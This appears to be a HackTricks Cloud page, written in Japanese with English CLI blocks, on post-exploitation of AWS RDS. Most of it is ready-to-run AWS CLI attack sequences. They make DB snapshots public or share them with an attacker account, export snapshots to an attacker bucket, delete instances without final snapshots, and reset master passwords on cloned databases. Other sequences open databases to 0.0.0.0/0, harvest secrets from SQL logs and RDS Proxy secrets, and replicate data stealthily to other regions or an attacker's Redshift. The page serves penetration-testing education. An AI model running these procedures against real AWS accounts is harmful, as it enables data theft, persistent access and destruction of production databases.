# AWS - RDS Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## RDS

詳細は以下を確認してください:

{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
{{#endref}}

### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`

攻撃者が十分な権限を持っている場合、DB のスナップショットを作成し、そのスナップショットから公開アクセス可能な DB を作成することで、**DB を公開アクセス可能にする**ことができます。
```bash
aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins
```
### `rds:StopDBCluster` & `rds:StopDBInstance`
rds:StopDBCluster または rds:StopDBInstance を持つ攻撃者は、RDS インスタンスまたはクラスタ全体を即時に停止させることができ、データベースの利用不可、接続の切断、およびデータベースに依存するプロセスの中断を引き起こします。

単一の DB インスタンスを停止する例：
```bash
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
```
DB cluster 全体を停止するには（例）:
```bash
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
```
### `rds:Modify*`
rds:Modify* が付与された攻撃者は、instance や cluster に直接触れることなく、parameter groups、option groups、proxy endpoints と endpoint-groups、target groups、subnet groups、capacity settings、snapshot/cluster attributes、certificates、integrations などの重要な設定や補助リソースを変更できます。接続／タイムアウトパラメータの調整、proxy endpoint の変更、信頼する certificates の変更、論理的な capacity の変更、subnet group の再構成といった変更は、セキュリティを弱体化させ（新たなアクセス経路を開く）、ルーティングやロードバランシングを破壊し、レプリケーション／バックアップポリシーを無効化し、全般的に可用性や復旧性を低下させる可能性があります。これらの変更はまた、間接的なデータ exfiltration を助長したり、インシデント後のデータベースの秩序ある復旧を妨げることがあります。

Move or change the subnets assigned to an RDS subnet group:
```bash
aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>
```
クラスタパラメータグループ内の低レベルなエンジンパラメータを変更する:
```bash
aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
```
### `rds:Restore*`

`rds:Restore*` の権限を持つ攻撃者は、スナップショット、自動バックアップ、point-in-time recovery (PITR)、または S3 に保存されたファイルからデータベース全体を復元し、選択した時点のデータで構成された新しいインスタンスやクラスターを作成できます。これらの操作は元のリソースを上書きするのではなく — 履歴データを含む新しいオブジェクトを作成するため — 攻撃者はデータベースの完全で機能するコピー（過去の時点から、または外部の S3 ファイルから）を入手し、exfiltrate data、履歴記録の改ざん、または以前の状態の再構築に利用できます。

DBインスタンスを特定の時点に復元する:
```bash
aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az
```
### `rds:Delete*`

rds:Delete* が付与された攻撃者は RDS リソースを削除でき、DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups and related artifacts を削除して即時のサービス停止、データ喪失、復旧ポイントの破壊、およびフォレンジック証拠の喪失を引き起こす可能性があります。
```bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot

# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot

# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>

# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`

これらの権限を持つ攻撃者は、**DBのsnapshotを作成**し、それを**公開** **利用可能**にすることができます。すると、自分のアカウントでそのsnapshotからDBを作成するだけです。

攻撃者が**`rds:CreateDBSnapshot` を持っていない**場合でも、既に作成された**他の**snapshotを**公開**にすることは可能です。
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
```
### `rds:DownloadDBLogFilePortion`

`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は、**RDS インスタンスのログファイルの一部をダウンロードすることができます**。もし機密データやアクセス資格情報が誤ってログに記録されていた場合、攻撃者はこの情報を利用して権限を昇格させたり、不正な操作を行ったりする可能性があります。
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**潜在的な影響**: leaked credentials を使用して機密情報にアクセスしたり、不正な操作を行うことができる。

### `rds:DeleteDBInstance`

これらの権限を持つ攻撃者は **DoS 既存の RDS インスタンス** を実行することができる。
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**潜在的な影響**: 既存の RDS インスタンスの削除、およびデータ喪失の可能性。

### `rds:StartExportTask`

> [!NOTE]
> TODO: テスト

この権限を持つ攻撃者は **RDS インスタンスのスナップショットを S3 バケットにエクスポートすることができます**。攻撃者が宛先の S3 バケットを制御できる場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**潜在的な影響**: エクスポートされたスナップショット内の機密データへのアクセス

### ステルス復元のためのクロスリージョン自動バックアップ複製 (`rds:StartDBInstanceAutomatedBackupsReplication`)

クロスリージョンの自動バックアップ複製を悪用して、RDSインスタンスの自動バックアップを別のAWSリージョンにこっそり複製し、そこで復元します。攻撃者は復元したDBをパブリックに公開し、マスターパスワードをリセットして、守備側が監視していないリージョンで別経路（out-of-band）からデータにアクセスすることができます。

Permissions needed (minimum):
- `rds:StartDBInstanceAutomatedBackupsReplication` （宛先リージョンで）
- `rds:DescribeDBInstanceAutomatedBackups` （宛先リージョンで）
- `rds:RestoreDBInstanceToPointInTime` （宛先リージョンで）
- `rds:ModifyDBInstance` （宛先リージョンで）
- `rds:StopDBInstanceAutomatedBackupsReplication` （オプション：クリーンアップ）
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` （復元したDBを公開するため）

Impact: 本番データのコピーを別リージョンに復元し、攻撃者管理の認証情報で公開することで、Persistence と data exfiltration が可能になる。

<details>
<summary>エンドツーエンド CLI（プレースホルダを置き換えてください）</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
--region <SOURCE_REGION> \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
--output table

# 2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
--source-region <SOURCE_REGION> \
--backup-retention-period 7

# 3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups \
--region <DEST_REGION> \
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
--output table
# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn

# 4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time \
--region <DEST_REGION> \
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
--target-db-instance-identifier <TARGET_DB_ID> \
--use-latest-restorable-time \
--db-instance-class db.t3.micro
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

# 5) Make public and reset credentials in DEST
# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
--query GroupId --output text)
aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
--group-id "$OPEN_SG_ID" \
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'

# 5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids "$OPEN_SG_ID" \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

# 5c) Reset the master password
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--master-user-password '<NEW_STRONG_PASSWORD>' \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text)
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'

# 7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
```
</details>


### DBパラメータグループを使って完全なSQLログを有効化し、RDSのログAPI経由で外部持ち出しする

`rds:ModifyDBParameterGroup` をRDSのログダウンロードAPIと組み合わせて悪用することで、アプリケーションで実行されたすべてのSQL文を取得できます（DBエンジンの認証情報は不要）。エンジンのSQLロギングを有効にし、`rds:DescribeDBLogFiles` と `rds:DownloadDBLogFilePortion`（またはRESTの `downloadCompleteLogFile`）でログファイルを取得します。秘密情報、PII、JWTを含む可能性のあるクエリの収集に有用です。

Permissions needed (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)

Steps
1) 標的と現在のパラメータグループの確認
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) カスタムDBパラメータグループがアタッチされていることを確認する（デフォルトは編集できない）
- インスタンスが既にカスタムグループを使用している場合、次のステップでその名前を再利用する。
- そうでなければ、エンジンファミリーに一致するものを作成してアタッチする:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
```
3) 詳細な SQL ログを有効化
- MySQL エンジン（即時 / 再起動不要）:
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
```
- PostgreSQL engines (再起動が必要):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) ワークロードを実行させる（またはクエリを生成する）。ステートメントはエンジンのファイルログに書き込まれます
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`

5) ログを発見してダウンロードする（DBの認証情報は不要）
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
```
6) オフラインで機密データを解析する
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
例の証拠（編集済み）：
```text
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
```
クリーンアップ
- パラメータをデフォルトに戻し、必要に応じて再起動する:
```bash
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
影響: Post-exploitation data access by capturing all application SQL statements via AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.

### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`

プライマリインスタンスの認証情報に触れずに、RDSのread replicaを悪用してアウト・オブ・バンドの読み取りアクセスを取得できます。攻撃者は本番インスタンスからread replicaを作成し、レプリカのmaster passwordをリセット（これはプライマリを変更しません）し、必要に応じてレプリカを公開してデータをexfiltrateすることが可能です。

必要な権限（最小）:
- `rds:DescribeDBInstances`
- `rds:CreateDBInstanceReadReplica`
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (公開する場合)

影響: 攻撃者が制御する資格情報を持つレプリカ経由で本番データへの読み取り専用アクセスを得られる。プライマリが触られずレプリケーションが継続するため、検出される可能性が低くなります。
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
証拠の例 (MySQL):
- レプリカ DB ステータス: `available`、読み取りレプリケーション: `replicating`
- 新しいパスワードでの接続に成功し、`@@read_only=1` によって読み取り専用レプリカアクセスが確認された。

### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`

RDS Blue/Green を悪用して、本番 DB を継続的にレプリケートされる読み取り専用の green 環境にクローンします。次に green のマスター資格情報をリセットして、blue (prod) インスタンスに触れずにデータへアクセスします。これは snapshot sharing よりもステルス性が高く、ソースのみを監視している監視体制を回避することが多いです。
```bash
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
影響: 本番インスタンスを変更せずに、ほぼリアルタイムの本番クローンに対して読み取り専用ながら完全なデータアクセスを得られます。ステルスなデータ抽出やオフライン分析に有用です。


### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password

Aurora を悪用してターゲットクラスターで RDS Data API HTTP endpoint を有効化し、マスターパスワードを自分で制御する値にリセットして、HTTPS 経由で SQL を実行します（VPC ネットワーク経路は不要）。Data API/EnableHttpEndpoint をサポートする Aurora エンジンで動作します（例: Aurora MySQL 8.0 provisioned；一部の Aurora PostgreSQL/MySQL バージョン）。

権限（最小）:
- rds:DescribeDBClusters, rds:ModifyDBCluster（または rds:EnableHttpEndpoint）
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement（使用する場合は rds-data:BatchExecuteStatement も）

影響: ネットワーク区分を回避し、DB へ直接的な VPC 接続がなくても AWS API 経由でデータを持ち出せます。

<details>
<summary>エンドツーエンド CLI (Aurora MySQL example)</summary>
```bash
# 1) Identify target cluster ARN
REGION=us-east-1
CLUSTER_ID=<target-cluster-id>
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
--db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].DBClusterArn' --output text)

# 2) Enable Data API HTTP endpoint on the cluster
# Either of the following (depending on API/engine support):
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
# or
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--enable-http-endpoint --apply-immediately

# Wait until HttpEndpointEnabled is True
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].HttpEndpointEnabled' --output text

# 3) Reset master password to attacker-controlled value
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
# Wait until pending password change is applied
while :; do
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
[[ "$P" == "None" || "$P" == "null" ]] && break
sleep 10
done

# 4) Create a Secrets Manager secret for Data API auth
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
--query ARN --output text)

# 5) Prove out-of-band SQL via HTTPS using rds-data
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
--format-records-as JSON
```
</details>

注記:
- rds-data によって複数文の SQL が拒否される場合は、個別に execute-statement を呼び出してください。
- modify-db-cluster --enable-http-endpoint に効果がないエンジンの場合は、rds enable-http-endpoint --resource-arn を使用してください。
- 実際に Data API をサポートしているエンジン/バージョンであることを確認してください。そうでないと HttpEndpointEnabled は False のままになります。


### RDS Proxy の認証シークレットから DB 資格情報を収集する (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

RDS Proxy の設定を悪用して、バックエンド認証に使用される Secrets Manager の secret を特定し、その secret を読み取ってデータベースの資格情報を取得します。多くの環境では広範な `secretsmanager:GetSecretValue` が付与されており、これにより DB 資格情報への低摩擦なピボットが可能になります。secret が CMK を使用している場合、誤ったスコープの KMS 権限により `kms:Decrypt` も可能になることがあります。

必要な権限（最小）:
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` on the referenced SecretArn
- Optional when the secret uses a CMK: `kms:Decrypt` on that key

影響: プロキシに設定された DB のユーザー名/パスワードが即座に露出し、直接の DB アクセスやさらなる横移動が可能になります。

手順
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
```
ラボ（再現に必要な最小限）
```bash
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
```
クリーンアップ（ラボ）
```bash
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
### ステルスな継続的 exfiltration via Aurora PostgreSQL zero‑ETL を介して Amazon Redshift へ (rds:CreateIntegration)

Aurora PostgreSQL zero‑ETL integration を悪用して、本番データをあなたが管理する Amazon Redshift Serverless namespace に継続的に複製します。許容的な Amazon Redshift リソースポリシーが特定の Aurora クラスター ARN に対して CreateInboundIntegration/AuthorizeInboundIntegration を許可している場合、攻撃者は DB creds、snapshots、またはネットワーク露出なしでほぼリアルタイムのデータコピーを確立できます。

必要な権限（最小）:
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
- `rds-data:ExecuteStatement` (optional; to seed data if needed)

テスト済み: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

<details>
<summary>1) Redshift Serverless namespace と workgroup を作成</summary>
```bash
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
--admin-username adminuser --admin-user-password 'AdminPwd-1!' \
--query namespace.namespaceArn --output text)
RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \
--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \
--query workgroup.workgroupArn --output text)
# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL)
aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \
--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true
```
</details>

<details>
<summary>2) Redshiftのリソースポリシーを設定してAuroraソースを許可する</summary>
```bash
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SRC_ARN=<AURORA_CLUSTER_ARN>
cat > rs-rp.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AuthorizeInboundByRedshiftService",
"Effect": "Allow",
"Principal": {"Service": "redshift.amazonaws.com"},
"Action": "redshift:AuthorizeInboundIntegration",
"Resource": "$RS_NS_ARN",
"Condition": {"StringEquals": {"aws:SourceArn": "$SRC_ARN"}}
},
{
"Sid": "AllowCreateInboundFromAccount",
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::$ACCOUNT_ID:root"},
"Action": "redshift:CreateInboundIntegration",
"Resource": "$RS_NS_ARN"
}
]
}
JSON
aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --policy file://rs-rp.json
```
</details>

<details>
<summary>3) Aurora PostgreSQL クラスターを作成する（Data API と論理レプリケーションを有効にする）</summary>
```bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--engine aurora-postgresql --engine-version 16.4 \
--master-username postgres --master-user-password 'InitPwd-1!' \
--enable-http-endpoint --no-deletion-protection --backup-retention-period 1
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
# Serverless v2 instance
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately
aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \
--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
# Cluster parameter group for zero‑ETL
aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \
--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params"
aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \
ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately
aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text)
```
</details>

<details>
<summary>4) RDS から zero‑ETL 統合を作成する</summary>
```bash
# Include all tables in the default 'postgres' database
